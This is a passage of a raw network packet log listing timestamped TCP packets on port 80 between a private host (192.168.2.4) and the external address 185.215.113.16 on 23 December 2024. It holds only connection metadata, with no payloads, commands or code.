Dec 23, 2024 08:07:59.749830961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.750515938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.750580072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.750585079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.751276016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.751390934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.751645088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.752006054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.752120018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.752130032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.752742052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.752851009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.752959967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.753520012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.753587008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.753611088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.754250050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.754410982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.754440069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.755140066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.755249023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.755759001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.755971909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.755985022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.756082058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.756577015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.756632090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.756697893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.757281065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.757333040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.757472992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.757991076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.758141994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.758171082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.758768082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.758831024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.758857965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.759541988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.759643078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.759759903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.760329962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.760458946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.760564089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.760972977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.761030912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.761199951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.761837006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.761991024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.762252092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.762495041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.762512922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.762706995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.763196945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.763295889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.763442993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.763879061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.763972998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.764086962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.764525890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.764658928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.764686108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.765304089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.765412092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.765819073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.765860081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.765968084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.765993118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.766501904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.766594887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.766608000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.766628027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.766717911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.767508030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.767591953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.767610073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.767741919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.768457890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.768538952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.768552065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.768681049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.769443035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.769587040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.769599915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.769766092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.770421028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.770570993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.770581961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.770598888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.770809889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.771415949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.771697998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.771787882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.771812916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.771892071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.771892071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.772707939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.772769928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.772782087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.773350000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.773647070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.773722887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.773735046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.773751974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.773931026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.774610043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.774699926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.774712086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.774825096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.775682926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.775747061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.775759935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.775814056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.775893927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.776551008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.776684999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.776696920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.776803017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.777538061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.777612925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.777625084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.777688980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.777688980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.778515100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.778588057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.778600931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.779438972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.779469013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.779553890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.779566050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.779587030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.779623032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.780457020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.780533075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.780544996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.780666113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.781414032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.781559944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.781572104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.781591892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.781738043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.782413960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.782485962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.782521963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.783366919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.783457994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.783469915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.783482075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.784173012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.784352064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.784424067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.784435987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.785289049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.785404921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.785418034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.785439968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.785485029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.925102949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.925133944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.925194979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.925228119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.925538063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.925621986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.925648928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.925673962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.926045895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.926513910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.926613092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.926629066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.926665068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.927397013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.927500963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.927515984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.927550077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.927623034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.928355932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.928441048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.928456068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.928596973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.929328918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.929404974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.929420948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.929491043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.929491043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.930300951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.930408001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.930443048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.930469990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.931282997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.931395054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.931411982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.931428909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.931664944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.932420969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.932436943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.932539940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.932581902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.933235884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.933293104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.933315039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.933341980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.933383942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.934190035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.934259892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.934309006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.934341908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.935163975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.935270071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.935286999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.935300112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.935404062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.936253071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.936371088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.936388016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.937105894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.937191963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.937208891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.937222958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.937347889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.938065052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.938149929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.938164949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.938307047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.939039946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.939125061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.939136028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.939141989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.939244032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.940036058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.940116882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.940133095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.940254927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.941095114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.941165924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.941183090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.941195965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.941261053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.941977978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.942054033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.942070961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.942459106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.942964077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.943044901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.943068981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.943075895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.943139076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.943918943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.944015980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.944048882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.944075108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.944880009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.944971085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.944987059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.945005894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.945030928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.945884943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.946182013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.946249962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.946265936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.946291924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.946693897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.947192907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.947240114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.947256088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.947294950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.948118925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.948220968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.948236942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.948240995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.948302031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.949099064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.949196100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.949212074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.949315071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.950069904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.950179100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.950195074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.950265884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.950265884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.951262951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.951379061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.951401949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.951491117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.952048063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.952121019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.952136040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.952209949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.952209949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.952999115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.953088999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.953104019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.953227043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.953993082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.954041004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.954057932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.954121113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.954121113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.954950094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.955008984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.955043077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.955115080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.955914021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.956020117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.956036091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.956054926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.956118107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.956974983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.957026958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.957042933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.957180023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.957848072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.957947969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.957963943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.958023071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.958023071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.958790064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.005680084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.117501020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.117572069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.117780924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.117821932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.118151903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.118272066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.118382931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.118427992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.118845940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.118917942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.118933916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.118952036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.119307041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.119842052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.119925022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.119940996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.119957924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.120098114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.120867014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.120986938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.121032000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.121068001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:00.121778965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:00.121889114 CET	80	49744	185.215.113.16	192.168.2.4
